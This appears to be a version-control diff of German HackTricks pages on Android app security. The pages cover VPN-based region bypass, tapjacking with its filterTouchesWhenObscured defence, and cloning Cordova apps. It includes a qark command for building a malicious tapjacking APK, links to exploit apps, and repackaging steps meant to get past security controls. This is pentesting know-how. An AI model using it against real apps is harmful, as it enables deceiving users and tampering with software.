* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,57 +1,28 @@
<details>
In Situationen, in denen eine Anwendung auf bestimmte Länder beschränkt ist und Sie sie aufgrund regionaler Einschränkungen nicht auf Ihrem Android-Gerät installieren können, kann das Spoofing Ihres Standorts auf ein Land, in dem die App verfügbar ist, Ihnen Zugang gewähren. Die folgenden Schritte erläutern, wie Sie dies tun können:
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
1. **Hotspot Shield Free VPN Proxy installieren:**
- Beginnen Sie mit dem Herunterladen und Installieren des Hotspot Shield Free VPN Proxy aus dem Google Play Store.
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
In Situationen, in denen eine Anwendung auf bestimmte Länder beschränkt ist und Sie sie aufgrund regionaler Einschränkungen nicht auf Ihrem Android-Gerät installieren können, kann das Vortäuschen Ihres Standorts in einem Land, in dem die App verfügbar ist, Ihnen Zugriff gewähren. Die folgenden Schritte erläutern, wie dies zu tun ist:
1. **Installieren Sie Hotspot Shield Free VPN Proxy:**
- Laden Sie zunächst Hotspot Shield Free VPN Proxy aus dem Google Play Store herunter und installieren Sie es.
2. **Verbinden Sie sich mit einem VPN-Server:**
2. **Mit einem VPN-Server verbinden:**
- Öffnen Sie die Hotspot Shield-Anwendung.
- Verbinden Sie sich mit einem VPN-Server, indem Sie das Land auswählen, in dem die gewünschte Anwendung verfügbar ist.
- Verbinden Sie sich mit einem VPN-Server, indem Sie das Land auswählen, in dem die Anwendung, auf die Sie zugreifen möchten, verfügbar ist.
3. **Löschen Sie die Daten des Google Play Store:**
- Gehen Sie zu den **Einstellungen** Ihres Geräts.
- Gehen Sie zu **Apps** oder **Anwendungsmanager** (dies kann je nach Gerät unterschiedlich sein).
3. **Daten des Google Play Store löschen:**
- Navigieren Sie zu den **Einstellungen** Ihres Geräts.
- Gehen Sie zu **Apps** oder **Anwendungsmanager** (dies kann je nach Gerät variieren).
- Suchen und wählen Sie **Google Play Store** aus der Liste der Apps aus.
- Tippen Sie auf **Erzwingen des Anhaltens**, um alle laufenden Prozesse der App zu beenden.
- Tippen Sie dann auf **Daten löschen** oder **Speicher löschen** (der genaue Wortlaut kann variieren), um den Google Play Store auf den Standardzustand zurückzusetzen.
- Tippen Sie auf **Stopp erzwingen**, um alle laufenden Prozesse der App zu beenden.
- Tippen Sie dann auf **Daten löschen** oder **Speicher löschen** (die genaue Formulierung kann variieren), um die Google Play Store-App auf ihren Standardzustand zurückzusetzen.
4. **Greifen Sie auf die eingeschränkte Anwendung zu:**
4. **Auf die eingeschränkte Anwendung zugreifen:**
- Öffnen Sie den **Google Play Store**.
- Der Store sollte nun den Inhalt des Landes widerspiegeln, mit dem Sie über das VPN verbunden sind.
- Sie sollten nach der zuvor in Ihrem tatsächlichen Standort nicht verfügbaren Anwendung suchen und sie installieren können.
- Der Store sollte nun den Inhalt des Landes anzeigen, mit dem Sie über das VPN verbunden sind.
- Sie sollten in der Lage sein, die Anwendung zu suchen und zu installieren, die zuvor an Ihrem tatsächlichen Standort nicht verfügbar war.
### Wichtige Hinweise:
- Die Wirksamkeit dieser Methode kann je nach mehreren Faktoren variieren, einschließlich der Zuverlässigkeit des VPN-Dienstes und der spezifischen regionalen Beschränkungen, die von der App auferlegt werden.
- Die regelmäßige Verwendung eines VPNs kann sich auf die Leistung einiger Apps und Dienste auswirken.
- Beachten Sie die Nutzungsbedingungen jeder App oder jedes Dienstes, den Sie verwenden, da die Verwendung eines VPNs zur Umgehung regionaler Beschränkungen gegen diese Bedingungen verstoßen kann.
- Die Wirksamkeit dieser Methode kann je nach mehreren Faktoren variieren, einschließlich der Zuverlässigkeit des VPN-Dienstes und der spezifischen regionalen Einschränkungen, die von der App auferlegt werden.
- Die regelmäßige Nutzung eines VPN kann die Leistung einiger Apps und Dienste beeinträchtigen.
- Seien Sie sich der Nutzungsbedingungen für jede App oder jeden Dienst bewusst, den Sie verwenden, da die Verwendung eines VPN zur Umgehung regionaler Einschränkungen gegen diese Bedingungen verstoßen kann.
## Referenzen
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

View file

@ -1,42 +1,43 @@
# Tapjacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Grundlegende Informationen**
## **Grundinformationen**
**Tapjacking** ist ein Angriff, bei dem eine **bösartige Anwendung gestartet wird und sich über einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weitergibt.\
Im Wesentlichen **blendet es den Benutzer aus, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt**.
**Tapjacking** ist ein Angriff, bei dem eine **bösartige** **Anwendung** gestartet wird und sich **über einer Opferanwendung positioniert**. Sobald sie die Opfer-App sichtbar verdeckt, ist ihre Benutzeroberfläche so gestaltet, dass sie den Benutzer dazu verleitet, mit ihr zu interagieren, während sie die Interaktion an die Opfer-App weiterleitet.\
In der Tat **blindet es den Benutzer, sodass er nicht weiß, dass er tatsächlich Aktionen auf der Opfer-App ausführt**.
### Erkennung
Um Apps zu erkennen, die anfällig für diesen Angriff sind, sollten Sie nach **exportierten Aktivitäten** im Android-Manifest suchen (beachten Sie, dass eine Aktivität mit einem Intent-Filter standardmäßig automatisch exportiert wird). Sobald Sie die exportierten Aktivitäten gefunden haben, **überprüfen Sie, ob sie Berechtigungen erfordern**. Dies liegt daran, dass die **bösartige Anwendung auch diese Berechtigung benötigen wird**.
Um Apps zu erkennen, die anfällig für diesen Angriff sind, sollten Sie nach **exportierten Aktivitäten** im Android-Manifest suchen (beachten Sie, dass eine Aktivität mit einem Intent-Filter standardmäßig automatisch exportiert wird). Sobald Sie die exportierten Aktivitäten gefunden haben, **prüfen Sie, ob sie Berechtigungen benötigen**. Dies liegt daran, dass die **bösartige Anwendung auch diese Berechtigung benötigt**.
### Schutz
#### Android 12 (API 31,32) und höher
[**Laut dieser Quelle**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** werden Tapjacking-Angriffe von Android automatisch ab Android 12 (API 31 & 30) und höher verhindert. Selbst wenn die Anwendung also anfällig ist, **können Sie sie nicht ausnutzen**.
[**Laut dieser Quelle**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** werden Tapjacking-Angriffe von Android ab Android 12 (API 31 & 30) und höher automatisch verhindert. Selbst wenn die Anwendung anfällig ist, **werden Sie sie nicht ausnutzen können**.
#### `filterTouchesWhenObscured`
Wenn **`android:filterTouchesWhenObscured`** auf **`true`** gesetzt ist, empfängt die `View` keine Berührungen, wenn das Fenster der Ansicht von einem anderen sichtbaren Fenster verdeckt ist.
Wenn **`android:filterTouchesWhenObscured`** auf **`true`** gesetzt ist, erhält die `View` keine Berührungen, wenn das Fenster der Ansicht von einem anderen sichtbaren Fenster verdeckt wird.
#### **`setFilterTouchesWhenObscured`**
@ -50,32 +51,47 @@ android:layout_height="wrap_content"
android:filterTouchesWhenObscured="true">
</Button>
```
## Ausbeutung
## Ausnutzung
### Tapjacking-ExportedActivity
Die neueste Android-Anwendung, die einen Tapjacking-Angriff durchführt (+ Aufruf vor einer exportierten Aktivität der angegriffenen Anwendung), kann unter folgendem Link gefunden werden: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Die **aktuellste Android-Anwendung**, die einen Tapjacking-Angriff durchführt (+ Aufruf vor einer exportierten Aktivität der angegriffenen Anwendung), ist zu finden unter: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Befolgen Sie die **README-Anweisungen**, um sie zu verwenden.
Befolgen Sie die **README-Anweisungen zur Verwendung**.
### FloatingWindowApp
Ein Beispielprojekt, das **FloatingWindowApp** implementiert, das verwendet werden kann, um über anderen Aktivitäten platziert zu werden und einen Clickjacking-Angriff durchzuführen, finden Sie unter [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (etwas veraltet, viel Glück beim Erstellen der APK).
Ein Beispielprojekt, das **FloatingWindowApp** implementiert, welches verwendet werden kann, um über anderen Aktivitäten zu liegen und einen Clickjacking-Angriff durchzuführen, ist zu finden unter [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) (ein bisschen alt, viel Glück beim Erstellen der apk).
### Qark
{% hint style="danger" %}
Es scheint, dass dieses Projekt jetzt nicht mehr gepflegt wird und diese Funktionalität nicht mehr ordnungsgemäß funktioniert.
Es scheint, dass dieses Projekt jetzt nicht mehr gewartet wird und diese Funktionalität nicht mehr richtig funktioniert.
{% endhint %}
Sie können [**qark**](https://github.com/linkedin/qark) mit den Parametern `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` verwenden, um eine bösartige Anwendung zu erstellen und auf mögliche **Tapjacking**-Schwachstellen zu testen.
Sie können [**qark**](https://github.com/linkedin/qark) mit den Parametern `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` verwenden, um eine bösartige Anwendung zu erstellen, um mögliche **Tapjacking**-Schwachstellen zu testen.\
Die Abwehrmaßnahme ist relativ einfach, da der Entwickler wählen kann, keine Touch-Ereignisse zu empfangen, wenn eine Ansicht von einer anderen verdeckt wird. Verwenden Sie das [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
Die Minderung ist relativ einfach, da der Entwickler wählen kann, keine Touch-Ereignisse zu empfangen, wenn eine Ansicht von einer anderen verdeckt wird. Mit dem [Android Developers Reference](https://developer.android.com/reference/android/view/View#security):
> Manchmal ist es unerlässlich, dass eine Anwendung überprüfen kann, dass eine Aktion mit dem vollen Wissen und Einverständnis des Benutzers ausgeführt wird, wie das Gewähren einer Berechtigungsanfrage, das Tätigen eines Kaufs oder das Klicken auf eine Anzeige. Leider könnte eine bösartige Anwendung versuchen, den Benutzer dazu zu bringen, diese Aktionen unwissentlich auszuführen, indem sie den beabsichtigten Zweck der Ansicht verbirgt. Als Abhilfe bietet das Framework einen Touch-Filtermechanismus, der verwendet werden kann, um die Sicherheit von Ansichten zu verbessern, die Zugriff auf sensible Funktionen bieten.
> Manchmal ist es wichtig, dass eine Anwendung überprüfen kann, dass eine Aktion mit vollem Wissen und Einverständnis des Benutzers durchgeführt wird, wie z.B. das Gewähren einer Berechtigungsanfrage, das Tätigen eines Kaufs oder das Klicken auf eine Werbung. Leider könnte eine bösartige Anwendung versuchen, den Benutzer zu täuschen, diese Aktionen unwissentlich auszuführen, indem sie den beabsichtigten Zweck der Ansicht verbirgt. Als Abhilfe bietet das Framework einen Touch-Filtermechanismus, der verwendet werden kann, um die Sicherheit von Ansichten zu verbessern, die Zugang zu sensibler Funktionalität bieten.
>
> Um den Touch-Filter zu aktivieren, rufen Sie [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) auf oder setzen Sie das android:filterTouchesWhenObscured-Layoutattribut auf true. Wenn aktiviert, verwirft das Framework Berührungen, die empfangen werden, wenn das Fenster der Ansicht von einem anderen sichtbaren Fenster verdeckt ist. Als Ergebnis erhält die Ansicht keine Berührungen, wenn ein Toast, ein Dialog oder ein anderes Fenster über dem Fenster der Ansicht erscheint.
> Um die Touch-Filterung zu aktivieren, rufen Sie [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) auf oder setzen Sie das Layoutattribut android:filterTouchesWhenObscured auf true. Wenn aktiviert, verwirft das Framework Berührungen, die empfangen werden, wenn das Fenster der Ansicht von einem anderen sichtbaren Fenster verdeckt wird. Infolgedessen erhält die Ansicht keine Berührungen, wenn ein Toast, Dialog oder ein anderes Fenster über dem Fenster der Ansicht erscheint.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks unterstützen</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# Cordova Apps
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories** senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Weitere Informationen finden Sie unter [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Dies ist eine Zusammenfassung:
**Für weitere Details siehe [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Dies ist eine Zusammenfassung:
Apache Cordova ermöglicht die Entwicklung von **hybriden Anwendungen** mit **JavaScript, HTML und CSS**. Es ermöglicht die Erstellung von Android- und iOS-Anwendungen. Es fehlt jedoch ein standardmäßiger Mechanismus zur Sicherung des Quellcodes der Anwendung. Im Gegensatz zu React Native kompiliert Cordova den Quellcode standardmäßig nicht, was zu Schwachstellen bei der Code-Manipulation führen kann. Cordova verwendet WebView zur Darstellung von Anwendungen, wodurch der HTML- und JavaScript-Code auch nach der Kompilierung in APK- oder IPA-Dateien zugänglich ist. React Native hingegen verwendet eine JavaScript-VM zur Ausführung von JavaScript-Code und bietet einen besseren Schutz des Quellcodes.
Apache Cordova ist bekannt dafür, die Entwicklung von **hybriden Anwendungen** mit **JavaScript, HTML und CSS** zu ermöglichen. Es erlaubt die Erstellung von Android- und iOS-Anwendungen; jedoch fehlt ein standardmäßiger Mechanismus zum Schutz des Quellcodes der Anwendung. Im Gegensatz zu React Native kompiliert Cordova den Quellcode standardmäßig nicht, was zu Sicherheitsanfälligkeiten durch Code-Manipulation führen kann. Cordova verwendet WebView, um Anwendungen darzustellen, wodurch der HTML- und JavaScript-Code auch nach der Kompilierung in APK- oder IPA-Dateien sichtbar bleibt. React Native hingegen verwendet eine JavaScript-VM zur Ausführung von JavaScript-Code, was einen besseren Schutz des Quellcodes bietet.
### Klonen einer Cordova-Anwendung
Bevor Sie eine Cordova-Anwendung klonen, stellen Sie sicher, dass NodeJS installiert ist, zusammen mit anderen Voraussetzungen wie dem Android SDK, Java JDK und Gradle. Die offizielle Cordova [Dokumentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bietet eine umfassende Anleitung für diese Installationen.
Bevor Sie eine Cordova-Anwendung klonen, stellen Sie sicher, dass NodeJS zusammen mit anderen Voraussetzungen wie dem Android SDK, Java JDK und Gradle installiert ist. Die offizielle Cordova [Dokumentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bietet eine umfassende Anleitung für diese Installationen.
Nehmen wir an, es gibt eine Beispielanwendung namens `Bank.apk` mit dem Paketnamen `com.android.bank`. Um auf den Quellcode zuzugreifen, entpacken Sie `bank.apk` und navigieren Sie zum Ordner `bank/assets/www`. Dieser Ordner enthält den vollständigen Quellcode der Anwendung, einschließlich HTML- und JS-Dateien. Die Konfiguration der Anwendung befindet sich in `bank/res/xml/config.xml`.
Betrachten Sie ein Beispielanwendung namens `Bank.apk` mit dem Paketnamen `com.android.bank`. Um auf den Quellcode zuzugreifen, entpacken Sie `bank.apk` und navigieren Sie zum Ordner `bank/assets/www`. Dieser Ordner enthält den vollständigen Quellcode der Anwendung, einschließlich HTML- und JS-Dateien. Die Konfiguration der Anwendung finden Sie in `bank/res/xml/config.xml`.
Um die Anwendung zu klonen, befolgen Sie diese Schritte:
```bash
@ -30,13 +31,13 @@ npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
cd bank-new
```
Kopieren Sie den Inhalt von `bank/assets/www` nach `bank-new/www`, mit Ausnahme von `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` und dem Verzeichnis `plugins/`.
Kopiere den Inhalt von `bank/assets/www` nach `bank-new/www`, wobei `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` und das Verzeichnis `plugins/` ausgeschlossen werden.
Geben Sie bei der Erstellung eines neuen Cordova-Projekts die Plattform (Android oder iOS) an. Um eine Android-App zu klonen, fügen Sie die Android-Plattform hinzu. Beachten Sie, dass die Plattformversionen von Cordova und die Android-API-Ebenen unterschiedlich sind. Weitere Informationen zu Plattformversionen und unterstützten Android-APIs finden Sie in der Cordova [Dokumentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/).
Gib die Plattform (Android oder iOS) an, wenn du ein neues Cordova-Projekt erstellst. Für das Klonen einer Android-App füge die Android-Plattform hinzu. Beachte, dass die Plattformversionen von Cordova und die Android-API-Level unterschiedlich sind. Siehe die Cordova [Dokumentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) für Details zu Plattformversionen und unterstützten Android-APIs.
Um die geeignete Cordova Android Plattformversion zu ermitteln, überprüfen Sie das `PLATFORM_VERSION_BUILD_LABEL` in der `cordova.js`-Datei der Originalanwendung.
Um die geeignete Cordova Android-Plattformversion zu bestimmen, überprüfe das `PLATFORM_VERSION_BUILD_LABEL` in der `cordova.js`-Datei der ursprünglichen Anwendung.
Nachdem Sie die Plattform eingerichtet haben, installieren Sie die erforderlichen Plugins. Die Datei `bank/assets/www/cordova_plugins.js` der Originalanwendung enthält eine Liste aller Plugins und ihrer Versionen. Installieren Sie jedes Plugin einzeln wie unten gezeigt:
Nachdem die Plattform eingerichtet ist, installiere die erforderlichen Plugins. Die `bank/assets/www/cordova_plugins.js`-Datei der ursprünglichen Anwendung listet alle Plugins und deren Versionen auf. Installiere jedes Plugin einzeln, wie unten gezeigt:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
@ -56,22 +57,23 @@ Um die APK zu erstellen, verwenden Sie den folgenden Befehl:
cd bank-new
cordova build android — packageType=apk
```
Dieser Befehl generiert eine APK mit der Debug-Option aktiviert, um das Debuggen über Google Chrome zu erleichtern. Es ist wichtig, die APK vor der Installation zu signieren, insbesondere wenn die Anwendung Mechanismen zur Erkennung von Code-Manipulationen enthält.
Dieser Befehl generiert ein APK mit der Debug-Option aktiviert, was das Debuggen über Google Chrome erleichtert. Es ist entscheidend, das APK vor der Installation zu signieren, insbesondere wenn die Anwendung Mechanismen zur Erkennung von Code-Manipulationen enthält.
### Automatisierungstool
Für diejenigen, die den Klonprozess automatisieren möchten, wird das Tool **[MobSecco](https://github.com/Anof-cyber/MobSecco)** empfohlen. Es vereinfacht das Klonen von Android-Anwendungen und vereinfacht die oben beschriebenen Schritte.
Für diejenigen, die den Klonprozess automatisieren möchten, ist **[MobSecco](https://github.com/Anof-cyber/MobSecco)** ein empfohlenes Tool. Es vereinfacht das Klonen von Android-Anwendungen und vereinfacht die oben beschriebenen Schritte.
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
